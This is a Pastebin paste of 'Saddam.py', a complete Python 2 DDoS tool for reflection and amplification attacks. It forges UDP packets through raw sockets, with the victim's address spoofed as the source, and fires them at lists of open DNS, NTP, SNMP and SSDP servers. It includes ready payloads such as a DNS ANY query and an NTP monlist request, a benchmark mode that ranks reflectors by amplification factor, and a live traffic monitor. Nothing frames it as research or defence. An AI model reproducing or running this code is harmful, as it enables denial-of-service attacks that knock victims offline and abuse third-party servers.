Advertisement
TP2K1

Saddam.py [Python]

Jun 19th, 2015
972
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.64 KB | None | 0 0
  1. #!/usr/bin/env python
  2. import sys
  3. import time
  4. import socket
  5. import struct
  6. import threading
  7. from random import randint
  8. from optparse import OptionParser
  9. from pinject import IP, UDP
  10.  
  11. USAGE = '''
  12. %prog target.com [options] # DDoS
  13. %prog benchmark [options] # Calculate AMPLIFICATION factor
  14. '''
  15.  
  16. LOGO = r'''
  17. _____ __ __
  18. / ___/____ _____/ /___/ /___ _____ ___
  19. \__ \/ __ `/ __ / __ / __ `/ __ `__ \
  20. ___/ / /_/ / /_/ / /_/ / /_/ / / / / / /
  21. /____/\__,_/\__,_/\__,_/\__,_/_/ /_/ /_/
  22. https://github.com/OffensivePython/Saddam
  23. https://twitter.com/OffensivePython
  24. '''
  25.  
  26. HELP = (
  27. 'DNS Amplification File and Domains to Resolve (e.g: dns.txt:[evildomain.com|domains_file.txt]',
  28. 'NTP Amplification file',
  29. 'SNMP Amplification file',
  30. 'SSDP Amplification file',
  31. 'Number of threads (default=1)' )
  32.  
  33. OPTIONS = (
  34. (('-d', '--dns'), dict(dest='dns', metavar='FILE:FILE|DOMAIN', help=HELP[0])),
  35. (('-n', '--ntp'), dict(dest='ntp', metavar='FILE', help=HELP[1])),
  36. (('-s', '--snmp'), dict(dest='snmp', metavar='FILE', help=HELP[2])),
  37. (('-p', '--ssdp'), dict(dest='ssdp', metavar='FILE', help=HELP[3])),
  38. (('-t', '--threads'), dict(dest='threads', type=int, default=1, metavar='N', help=HELP[4])) )
  39.  
  40. BENCHMARK = (
  41. 'Protocol'
  42. '| IP Address '
  43. '| Amplification '
  44. '| Domain '
  45. '\n{}').format('-'*75)
  46.  
  47. ATTACK = (
  48. ' Sent '
  49. '| Traffic '
  50. '| Packet/s '
  51. '| Bit/s '
  52. '\n{}').format('-'*63)
  53.  
  54. PORT = {
  55. 'dns': 53,
  56. 'ntp': 123,
  57. 'snmp': 161,
  58. 'ssdp': 1900 }
  59.  
  60. PAYLOAD = {
  61. 'dns': ('{}\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01'
  62. '{}\x00\x00\xff\x00\xff\x00\x00\x29\x10\x00'
  63. '\x00\x00\x00\x00\x00\x00'),
  64. 'snmp':('\x30\x26\x02\x01\x01\x04\x06\x70\x75\x62\x6c'
  65. '\x69\x63\xa5\x19\x02\x04\x71\xb4\xb5\x68\x02\x01'
  66. '\x00\x02\x01\x7F\x30\x0b\x30\x09\x06\x05\x2b\x06'
  67. '\x01\x02\x01\x05\x00'),
  68. 'ntp':('\x17\x00\x02\x2a'+'\x00'*4),
  69. 'ssdp':('M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\n'
  70. 'MAN: "ssdp:discover"\r\nMX: 2\r\nST: ssdp:all\r\n\r\n')
  71. }
  72.  
  73. amplification = {
  74. 'dns': {},
  75. 'ntp': {},
  76. 'snmp': {},
  77. 'ssdp': {} } # Amplification factor
  78.  
  79. FILE_NAME = 0 # Index of files names
  80. FILE_HANDLE = 1 # Index of files descriptors
  81.  
  82. npackets = 0 # Number of packets sent
  83. nbytes = 0 # Number of bytes reflected
  84. files = {} # Amplifications files
  85.  
  86. SUFFIX = {
  87. 0: '',
  88. 1: 'K',
  89. 2: 'M',
  90. 3: 'G',
  91. 4: 'T'}
  92.  
  93. def Calc(n, d, unit=''):
  94. i = 0
  95. r = float(n)
  96. while r/d>=1:
  97. r = r/d
  98. i+= 1
  99. return '{:.2f}{}{}'.format(r, SUFFIX[i], unit)
  100.  
  101. def GetDomainList(domains):
  102. domain_list = []
  103.  
  104. if '.TXT' in domains.upper():
  105. file = open(domains, 'r')
  106. content = file.read()
  107. file.close()
  108. content = content.replace('\r', '')
  109. content = content.replace(' ', '')
  110. content = content.split('\n')
  111. for domain in content:
  112. if domain:
  113. domain_list.append(domain)
  114. else:
  115. domain_list = domains.split(',')
  116. return domain_list
  117.  
  118. def Monitor():
  119. '''
  120. Monitor attack
  121. '''
  122. print ATTACK
  123. FMT = '{:^15}|{:^15}|{:^15}|{:^15}'
  124. start = time.time()
  125. while True:
  126. try:
  127. current = time.time() - start
  128. bps = (nbytes*8)/current
  129. pps = npackets/current
  130. out = FMT.format(Calc(npackets, 1000),
  131. Calc(nbytes, 1024, 'B'), Calc(pps, 1000, 'pps'), Calc(bps, 1000, 'bps'))
  132. sys.stderr.write('\r{}{}'.format(out, ' '*(60-len(out))))
  133. time.sleep(1)
  134. except KeyboardInterrupt:
  135. print '\nInterrupted'
  136. break
  137. except Exception as err:
  138. print '\nError:', str(err)
  139. break
  140.  
  141.  
  142. def AmpFactor(recvd, sent):
  143. return '{}x ({}B -> {}B)'.format(recvd/sent, sent, recvd)
  144.  
  145. def Benchmark(ddos):
  146. print BENCHMARK
  147. i = 0
  148. for proto in files:
  149. f = open(files[proto][FILE_NAME], 'r')
  150. while True:
  151. soldier = f.readline().strip()
  152. if soldier:
  153. if proto=='dns':
  154. for domain in ddos.domains:
  155. i+= 1
  156. recvd, sent = ddos.GetAmpSize(proto, soldier, domain)
  157. if recvd/sent:
  158. print '{:^8}|{:^15}|{:^23}|{}'.format(proto, soldier,
  159. AmpFactor(recvd, sent), domain)
  160. else:
  161. continue
  162. else:
  163. recvd, sent = ddos.GetAmpSize(proto, soldier)
  164. print '{:^8}|{:^15}|{:^23}|{}'.format(proto, soldier,
  165. AmpFactor(recvd, sent), 'N/A')
  166. i+= 1
  167. else:
  168. break
  169. print 'Total tested:', i
  170. f.close()
  171.  
  172. class DDoS(object):
  173. def __init__(self, target, threads, domains, event):
  174. self.target = target
  175. self.threads = threads
  176. self.event = event
  177. self.domains = domains
  178. def stress(self):
  179. for i in range(self.threads):
  180. t = threading.Thread(target=self.__attack)
  181. t.start()
  182. def __send(self, sock, soldier, proto, payload):
  183. '''
  184. Send a Spoofed Packet
  185. '''
  186. udp = UDP(randint(1, 65535), PORT[proto], payload).pack(self.target, soldier)
  187. ip = IP(self.target, soldier, udp, proto=socket.IPPROTO_UDP).pack()
  188. sock.sendto(ip+udp+payload, (soldier, PORT[proto]))
  189. def GetAmpSize(self, proto, soldier, domain=''):
  190. '''
  191. Get Amplification Size
  192. '''
  193. sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  194. sock.settimeout(2)
  195. data = ''
  196. if proto in ['ntp', 'ssdp']:
  197. packet = PAYLOAD[proto]
  198. sock.sendto(packet, (soldier, PORT[proto]))
  199. try:
  200. while True:
  201. data+= sock.recvfrom(65535)[0]
  202. except socket.timeout:
  203. sock.close()
  204. return len(data), len(packet)
  205. if proto=='dns':
  206. packet = self.__GetDnsQuery(domain)
  207. else:
  208. packet = PAYLOAD[proto]
  209. try:
  210. sock.sendto(packet, (soldier, PORT[proto]))
  211. data, _ = sock.recvfrom(65535)
  212. except socket.timeout:
  213. data = ''
  214. finally:
  215. sock.close()
  216. return len(data), len(packet)
  217. def __GetQName(self, domain):
  218. '''
  219. QNAME A domain name represented as a sequence of labels
  220. where each label consists of a length
  221. octet followed by that number of octets
  222. '''
  223. labels = domain.split('.')
  224. QName = ''
  225. for label in labels:
  226. if len(label):
  227. QName += struct.pack('B', len(label)) + label
  228. return QName
  229. def __GetDnsQuery(self, domain):
  230. id = struct.pack('H', randint(0, 65535))
  231. QName = self.__GetQName(domain)
  232. return PAYLOAD['dns'].format(id, QName)
  233. def __attack(self):
  234. global npackets
  235. global nbytes
  236. _files = files
  237. for proto in _files: # Open Amplification files
  238. f = open(_files[proto][FILE_NAME], 'r')
  239. _files[proto].append(f) # _files = {'proto':['file_name', file_handle]}
  240. sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
  241. i = 0
  242. while self.event.isSet():
  243. for proto in _files:
  244. soldier = _files[proto][FILE_HANDLE].readline().strip()
  245. if soldier:
  246. if proto=='dns':
  247. if not amplification[proto].has_key(soldier):
  248. amplification[proto][soldier] = {}
  249. for domain in self.domains:
  250. if not amplification[proto][soldier].has_key(domain):
  251. size, _ = self.GetAmpSize(proto, soldier, domain)
  252. if size==0:
  253. break
  254. elif size<len(PAYLOAD[proto]):
  255. continue
  256. else:
  257. amplification[proto][soldier][domain] = size
  258. amp = self.__GetDnsQuery(domain)
  259. self.__send(sock, soldier, proto, amp)
  260. npackets += 1
  261. i+=1
  262. nbytes += amplification[proto][soldier][domain]
  263. else:
  264. if not amplification[proto].has_key(soldier):
  265. size, _ = self.GetAmpSize(proto, soldier)
  266. if size<len(PAYLOAD[proto]):
  267. continue
  268. else:
  269. amplification[proto][soldier] = size
  270. amp = PAYLOAD[proto]
  271. npackets += 1
  272. i+=1
  273. nbytes += amplification[proto][soldier]
  274. self.__send(sock, soldier, proto, amp)
  275. else:
  276. _files[proto][FILE_HANDLE].seek(0)
  277. sock.close()
  278. for proto in _files:
  279. _files[proto][FILE_HANDLE].close()
  280.  
  281. def main():
  282. parser = OptionParser(usage=USAGE)
  283. for args, kwargs in OPTIONS:
  284. parser.add_option(*args, **kwargs)
  285. options, args = parser.parse_args()
  286. domains = None
  287. if len(args)<1:
  288. parser.print_help()
  289. sys.exit()
  290. if options.dns:
  291. dns_file, domains = options.dns.split(':')
  292. domains = GetDomainList(domains)
  293. if domains:
  294. files['dns'] = [dns_file]
  295. else:
  296. print 'Specify domains to resolve (e.g: --dns=dns.txt:evildomain.com)'
  297. sys.exit()
  298. if options.ntp:
  299. files['ntp'] = [options.ntp]
  300. if options.snmp:
  301. files['snmp'] = [options.snmp]
  302. if options.ssdp:
  303. files['ssdp'] = [options.ssdp]
  304. if files:
  305. event = threading.Event()
  306. event.set()
  307. if 'BENCHMARK'==args[0].upper():
  308. ddos = DDoS(args[0], options.threads, domains, event)
  309. Benchmark(ddos)
  310. else:
  311. ddos = DDoS(socket.gethostbyname(args[0]), options.threads, domains, event)
  312. ddos.stress()
  313. Monitor()
  314. event.clear()
  315. else:
  316. parser.print_help()
  317. sys.exit()
  318.  
  319. if __name__=='__main__':
  320. print LOGO
  321. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement